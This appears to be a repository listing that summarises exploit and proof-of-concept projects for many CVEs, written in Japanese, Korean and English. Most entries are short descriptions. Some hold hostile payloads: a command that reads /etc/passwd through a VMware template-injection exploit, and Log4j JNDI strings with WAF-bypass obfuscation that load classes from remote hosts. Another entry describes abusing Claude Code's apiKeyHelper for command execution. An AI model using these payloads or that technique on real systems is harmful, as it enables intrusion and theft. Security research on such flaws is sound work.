ship-safe

AIが書いたソフトウェアのための独立したセキュリティエージェント。問題を発見し、それが実在するかどうかを調査し、証拠を提示します。 ウェブサイト · ドキュメント · セキュリティとデータフロー · ベンチマーク · 料金 · ブログ · コントリビュート Ship Safe CLI Ship Safe はリポジトリ内でローカルに動作し、2つのレイヤーで機能します。 決定論的エンジン は、アプリケーションコード、AIエージェント、MCP設定、プロンプト、依存関係、CI/CD、シークレット、クラウド関連の設定にわたって問題を検出します。高速で再現可能、かつベンチマーク済み —...

PrintNightmare

PrintNightmare Windows 보안 취약점 PrintNightmare CVE-2021-34527 에 대응하는 데 도움이 되는 프로젝트입니다. 이 취약점에 대해 Microsoft에서 패치를 발표했지만 완전히 기능하지는 않으며, RCE원격 코드 실행만 방어하고 LPE로컬 권한 상승는 여전히 잠재적 공격자에게 유효합니다. 다음과 같은 조치를 취해야 합니다: 먼저, 클라이언트에서는 최신 Microsoft 수정 사항으로 컴퓨터를 업데이트해야 합니다. 완전히 패치되지 않더라도 필수입니다. 그런 다음, 서버에서 Microsoft...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker 서버 측 템플릿 인젝션 VMware Workspace ONE Access 및 Identity Manager에서 매우 치명적인 것으로 분류된 취약점이 발견되었습니다. 영향을 받는 구성 요소는 Template Handler입니다. 참조: https://vuldb.com/?id.196644 사용법: python3 CVE-2022-22954.py example.com "cat /etc/passwd" 예시: 면책 조항 이 Pyth...

CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

CVE-2026-32475

CVE-2026-32475 PoC: Elementor Pro の認証なし任意ファイルアップロードによるRCE Elementor Pro 事前認証の任意ファイルアップロードによるリモートコード実行 CVE-2026-32475 の概念実証コードです。Elementor Pro の Forms モジュールにおける深刻な認証なし任意ファイルアップロードが、リモートコード実行に至るものです。この PoC は、同じアップロードフィールドに対して2つのファイルパートを送信します — 空の最初のエントリ（空のファイル名で UPLOADERRNOFILE...

CVE-2024-1651-PoC

CVE-2024-1651 이 CVE는 Fluid Attack Offensive Team의 Carlos Bello에 의해 발견되었습니다. 이 발견은 안전하지 않은 객체 역직렬화Insecure Object Deserialization를 통해 RCE원격 코드 실행를 얻는 것에 대해 논의합니다. 여기서는 더 빠르고 사용하기 쉬운 PoC개념 증명를 만들었습니다. 따라서 누구든지 이 발견을 재현하고자 한다면, 이를 참조 예제로 사용할 수 있습니다. Preview...

CVE-2022-22954

CVE-2022-22954 취약점 설명 Workspace ONE Access는 통합 애플리케이션 포털을 제공하며, 포털을 통해 기업의 모든 애플리케이션에 안전하게 접근할 수 있으며, 단일 로그인에 사용할 수 있습니다. CVE-2022-22954에서 공격자는 악의적인 요청을 구성하여 템플릿 인젝션을 일으키고, 임의 코드를 실행하여 서버를 제어할 수 있습니다. 참고 문서...

CVE-2023-38831-RaRCE

RaRCE, CVE-2023-38831용 익스플로잇 생성기 설치가 쉽고 사용하기 쉬운 다목적 익스플로잇 생성기로, WinRAR 6.23 이전 버전에 영향을 미치는 취약점 CVE-2023-38831을 대상으로 합니다. RARLabs WinRAR 6.23 이전 버전은 사용자가 ZIP 아카이브 내의 정상 파일을 보려고 할 때 공격자가 임의 코드를 실행할 수 있도록 합니다. 이 문제는 ZIP 아카이브에 정상 파일예: 일반 .JPG 파일과 정상 파일과 동일한 이름의 폴더가 포함될 수 있고, 정상 파일에만 접근하려는 시도 중에 폴더의...

claude-poc

Claude 코드를 악용하는 방법은 여러 가지가 있으며, 이는 제가 연구 중 발견하여 보고한 방법 중 하나입니다 2025년 11월 23일, 수정되지 않음. RT/PT 초기 접근 시 유용하게 사용될 수 있습니다. 요약: apiKeyHelper는 모델 요청에서 X-Api-Key 및 Authorization: Bearer 헤더에 대한 인증 값을 생성하도록 설계된 사용자 정의 셸 스크립트/bin/sh입니다. 그러나 이 스크립트는 시스템 명령을 수락하고 실행하기 때문에, 이 동작은 코드 실행으로 이어집니다 참조. 하지만...

CVE-2024-8381

CVE-2024-8381 SpiderMonkey 인터프리터 타입 혼동 버그입니다. 이 저장소는 근본 원인, PoC, 익스플로잇을 포함한 마크다운 및 슬라이드 형식의 분석을 제공합니다. 안타깝게도 이 버그의 특성상 익스플로잇은 ASLR이 비활성화된 경우에만 적용 가능합니다. 슬라이드: Slides.pdf 분석: Analysis.md 데모 재현 정보 OS: Ubuntu 24.04 GLIBC: Ubuntu GLIBC 2.39-0ubuntu8.3 Clang: version 18.1.7...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Confluence OGNL 주입...

bmc_bladelogic

Linux 및 Windows용 BMC Bladelogic RSCD 원격 익스플로잇 비밀번호 변경, 사용자 목록 조회 및 원격 코드 실행 BMC BladeLogic RSCD 에이전트의 취약점 익스플로잇 CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 Exploit-DB에 게시됨 BMCrexec.py https://www.exploit-db.com/exploits/43902/ BMCwinUsers.py...

CVE-2017-12615-Home-Lab

CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 이 랩은 CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 취약점을 시뮬레이션합니다. readonly=false 설정으로 인해 HTTP PUT 을 통한 파일 업로드가 가능해지며, 여기에는 명령을 실행할 수 있는RCE .jsp 파일도 포함됩니다. 기능 Apache Tomcat 7.0.79 취약 버전 readonly=false 값이 설정된 DefaultServlet override 사용 PUT 업로드를 통해 .jsp 파일을...

CVE-2024-50482

CVE-2024-50482 Woocommerce Product Design = 1.0.0 - 인증되지 않은 임의 파일 업로드 설명: Woocommerce Product Design 플러그인은 WordPress에서 사용되며, 1.0.0까지의 모든 버전에서 파일 유형 검증이 누락되어 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향받은 사이트 서버에 임의 파일을 업로드할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다. Published: 2024-10-25 00:00:00 CVE:...

CVE-2021-31166

CVE-2021-31166 설명 - CVE-2021-31166에 대한 PoC: Windows HTTP 프로토콜 스택 원격 코드 실행 취약점 - antx가 2021-09-27에 생성함. 세부 정보 - ./trigger.gifPoc-Gif CVE 심각도 - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH - confidentialityImpact: HIGH - integrityImpact: HIGH - privilegesRequired:...

Log4J_0day_RCE

커뮤니티 참여 Telegram CVE-2021-44228Apache Log4j Remote Code Execution） 영향 받는 버전 JNDI-Injection-Exploit을 사용하여 익스플로잇할 수 있습니다. rc1 우회 예를 들어: $jndi:ldap://127.0.0.1:1389/ badClassName WAF 우회 $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc $$::-jndi:rmi://asdasd.asdasd.asdasd/ass...

CVE-2021-20837

CVE-2021-20837 XMLRPC - MovableType의 RCE PoC...

CVE-2020-29607

CVE-2020-29607-Exploit 익스플로잇 제목: Pluck CMS 4.7.13 - 파일 업로드 원격 코드 실행 인증됨 CVE 설명: Pluck CMS 4.7.13 이전 버전의 파일 업로드 제한 우회 취약점으로 인해 관리자 권한 사용자가 "파일 관리" 기능을 통해 호스트에 접근할 수 있으며, 이로 인해 원격 코드 실행이 발생할 수 있습니다. https://nvd.nist.gov/vuln/detail/CVE-2020-29607 ExploitDB: https://www.exploit-db.com/exploits/49909...

CVE-2026-75028

The WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.0.18 via the template scope function. This makes it possible for authenticated attackers, with contributor-level access and...

CVE-2026-87115

The VikAppointments Services Booking Calendar plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the extract function in all versions up to, and including, 1.2.21. This makes it possible for unauthenticated attackers to delete arbitrary files...